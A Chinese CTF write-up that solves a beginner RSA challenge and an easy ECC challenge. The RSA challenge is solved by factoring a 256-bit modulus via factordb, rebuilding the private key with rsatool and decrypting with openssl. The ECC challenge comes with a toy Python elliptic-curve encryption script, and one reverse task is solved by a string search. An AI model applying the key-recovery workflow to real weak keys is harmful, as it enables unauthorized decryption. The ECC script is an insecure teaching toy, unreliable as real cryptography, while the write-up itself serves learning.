pubkey.pemopenssl的文件类型,传统RSA公钥形式为(e,N),用openssl解出eN的值。kali自带openssl,使用命令 openssl rsa -pubin -text -modulus -in pubkey.pem对文件进行解析,或者RSA公私钥分解 Exponent、Modulus,Rsa公私钥指数、系数(模数)分解–查错网 (chacuo.net)http://tool.chacuo.net/cryptrsakeyparse)。

RSA Public-Key: (256 bit)
Modulus:
  00:c2:63:6a:e5:c3:d8:e4:3f:fb:97:ab:09:02:8f:
  1a:ac:6c:0b:f6:cd:3d:70:eb:ca:28:1b:ff:e9:7d:
  be:30:dd
Exponent: 65537 (0x10001)
Modulus=C2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD

其中65537为e的值,C2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD为N的十六进制值,将其转换为十进制,结果为87924348264132406875276140514499937145050893665602592992418171647042491658461

factordb.com计算p值与q值。

p=275127860351348928173285174381581152299

q=319576316814478949870590164193048041239

工具下载:ius/rsatool: rsatool can be used to calculate RSA and RSA-CRT parameters (github.com)

python setup.py install

python rsatool.py -o private.pem -e 65537 -p 275127860351348928173285174381581152299 -q 319576316814478949870590164193048041239,生成一个private文件。

openssl rsautl -decrypt -in flag.enc -inkey private.pem.

获得flag

easy ECC

Des:转眼两个人又走到了下一个谜题的地方,这又是一种经典的密码学加密方式 而你刚好没有这个的工具,你对小鱼说“小鱼我知道数学真的很重要了,有了工具只是方便我们使用,懂了原理才能做到,小鱼你教我一下这个题怎么做吧!”在小鱼的一步步带领下,你终于明白了ECC 的基本原理,成功的解开了这个题目,两个人相视一笑,快步走向了下一个题目所在的位置。flag格式为cyberpeace{x+y的值}。

参考文章:

椭圆曲线加密浅析 - 代码先锋网 (codeleading.com)

上脚本:

"""
    考虑K=kG ,其中K、G为椭圆曲线Ep(a,b)上的点,n为G的阶(nG=O∞ ),k为小于n的整数。
    则给定k和G,根据加法法则,计算K很容易但反过来,给定K和G,求k就非常困难。
    因为实际使用中的ECC原则上把p取得相当大,n也相当大,要把n个解点逐一算出来列成上表是不可能的。
    这就是椭圆曲线加密算法的数学依据
    点G称为基点(base point)
    k(k<n)为私有**(privte key)
    K为公开**(public key)
"""
 
def get_inverse(mu, p):
    """
    获取y的负元
    """
    for i in range(1, p):
        if (i*mu)%p == 1:
            return i
    return -1
 
def get_gcd(zi, mu):
    """
    获取最大公约数
    """
    if mu:
        return get_gcd(mu, zi%mu)
    else:
        return zi
 
def get_np(x1, y1, x2, y2, a, p):
    """
    获取n*p,每次+p,直到求解阶数np=-p
    """
    flag = 1  # 定义符号位(+/-)
 
    # 如果 p=q  k=(3x2+a)/2y1mod p
    if x1 == x2 and y1 == y2:
        zi = 3 * (x1 ** 2) + a  # 计算分子      【求导】
        mu = 2 * y1    # 计算分母
 
    # 若P≠Q,则k=(y2-y1)/(x2-x1) mod p
    else:
        zi = y2 - y1
        mu = x2 - x1
        if zi* mu < 0:
            flag = 0        # 符号0为-(负数)
            zi = abs(zi)
            mu = abs(mu)
 
    # 将分子和分母化为最简
    gcd_value = get_gcd(zi, mu)     # 最大公約數
    zi = zi // gcd_value            # 整除
    mu = mu // gcd_value
    # 求分母的逆元  逆元: ∀a ∈G ,ョb∈G 使得 ab = ba = e
    # P(x,y)的负元是 (x,-y mod p)= (x,p-y) ,有P+(-P)= O∞
    inverse_value = get_inverse(mu, p)
    k = (zi * inverse_value)
 
    if flag == 0:                   # 斜率负数 flag==0
        k = -k
    k = k % p
    # 计算x3,y3 P+Q
    """
        x3≡k2-x1-x2(mod p)
        y3≡k(x1-x3)-y1(mod p)
    """
    x3 = (k ** 2 - x1 - x2) % p
    y3 = (k * (x1 - x3) - y1) % p
    return x3,y3
 
def get_rank(x0, y0, a, b, p):
    """
    获取椭圆曲线的阶
    """
    x1 = x0             #-p的x坐标
    y1 = (-1*y0)%p      #-p的y坐标
    tempX = x0
    tempY = y0
    n = 1
    while True:
        n += 1
        # 求p+q的和,得到n*p,直到求出阶
        p_x,p_y = get_np(tempX, tempY, x0, y0, a, p)
        # 如果 == -p,那么阶数+1,返回
        if p_x == x1 and p_y == y1:
            return n+1
        tempX = p_x
        tempY = p_y
 
def get_param(x0, a, b, p):
    """
    计算p与-p
    """
    y0 = -1
    for i in range(p):
        # 满足取模约束条件,椭圆曲线Ep(a,b),p为质数,x,y∈[0,p-1]
        if i**2%p == (x0**3 + a*x0 + b)%p:
            y0 = i
            break
 
    # 如果y0没有,返回false
    if y0 == -1:
        return False
 
    # 计算-y(负数取模)
    x1 = x0
    y1 = (-1*y0) % p
    return x0,y0,x1,y1
 
def get_graph(a, b, p):
    """
    输出椭圆曲线散点图
    """
    x_y = []
    # 初始化二维数组
    for i in range(p):
        x_y.append(['-' for i in range(p)])
 
    for i in range(p):
        val =get_param(i, a, b, p)  # 椭圆曲线上的点
        if(val != False):
            x0,y0,x1,y1 = val
            x_y[x0][y0] = 1
            x_y[x1][y1] = 1
 
    print("椭圆曲线的散列图为:")
    for i in range(p):              # i= 0-> p-1
        temp = p-1-i        # 倒序
 
        # 格式化输出1/2位数,y坐标轴
        if temp >= 10:
            print(temp, end=" ")
        else:
            print(temp, end="  ")
 
        # 输出具体坐标的值,一行
        for j in range(p):
            print(x_y[j][temp], end="  ")
        print("")   #换行
 
    # 输出 x 坐标轴
    print("  ", end="")
    for i in range(p):
        if i >=10:
            print(i, end=" ")
        else:
            print(i, end="  ")
    print('\n')
 
def get_ng(G_x, G_y, key, a, p):
    """
    计算nG
    """
    temp_x = G_x
    temp_y = G_y
    while key != 1:
        temp_x,temp_y = get_np(temp_x,temp_y, G_x, G_y, a, p)
        key -= 1
    return temp_x,temp_y
 
def ecc_main():
    while True:
        a = int(input("请输入椭圆曲线参数a(a>0)的值:"))
        b = int(input("请输入椭圆曲线参数b(b>0)的值:"))
        p = int(input("请输入椭圆曲线参数p(p为素数)的值:"))   #用作模运算
 
        # 条件满足判断
        if (4*(a**3)+27*(b**2))%p == 0:
            print("您输入的参数有误,请重新输入!!!\n")
        else:
            break
 
    # 输出椭圆曲线散点图
    get_graph(a, b, p)
 
    # 选点作为G点
    print("user1:在如上坐标系中选一个值为G的坐标")
    G_x = int(input("user1:请输入选取的x坐标值:"))
    G_y = int(input("user1:请输入选取的y坐标值:"))
 
    # 获取椭圆曲线的阶
    n = get_rank(G_x, G_y, a, b, p)
 
    # user1生成私钥,小key
    key = int(input("user1:请输入私钥小key(<{}):".format(n)))
 
    # user1生成公钥,大KEY
    KEY_x,kEY_y = get_ng(G_x, G_y, key, a, p)
 
    # user2阶段
    # user2拿到user1的公钥KEY,Ep(a,b)阶n,加密需要加密的明文数据
    # 加密准备
    k = int(input("user2:请输入一个整数k(<{})用于求kG和kQ:".format(n)))
    k_G_x,k_G_y = get_ng(G_x, G_y, k, a, p)                         # kG
    k_Q_x,k_Q_y = get_ng(KEY_x, kEY_y, k, a, p)                     # kQ
 
    # 加密
    plain_text = input("user2:请输入需要加密的字符串:")
    plain_text = plain_text.strip()
    #plain_text = int(input("user1:请输入需要加密的密文:"))
    c = []
    print("密文为:",end="")
    for char in plain_text:
        intchar = ord(char)
        cipher_text = intchar*k_Q_x
        c.append([k_G_x, k_G_y, cipher_text])
        print("({},{}),{}".format(k_G_x, k_G_y, cipher_text),end="-")
 
 
    # user1阶段
    # 拿到user2加密的数据进行解密
    # 知道 k_G_x,k_G_y,key情况下,求解k_Q_x,k_Q_y是容易的,然后plain_text = cipher_text/k_Q_x
    print("\nuser1解密得到明文:",end="")
    for charArr in c:
        decrypto_text_x,decrypto_text_y = get_ng(charArr[0], charArr[1], key, a, p)
        print(chr(charArr[2]//decrypto_text_x),end="")
 
        #inverse_value = get_inverse(decrypto_text_x, p)
        #text = charArr[2]*inverse_value%p
        #print(text,end=" ")
 
if __name__ == "__main__":
    print("*************ECC椭圆曲线加密*************")
    ecc_main()

获得flag

Mobile

easy-so

Des:N/A。

Reverse

insanity

Des:菜鸡觉得前面的题目太难了,来个简单的缓一下。

做法1

IDA打开文件,Shift+F12

做法2

用记事本打开文件,搜索flag

获得flag

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。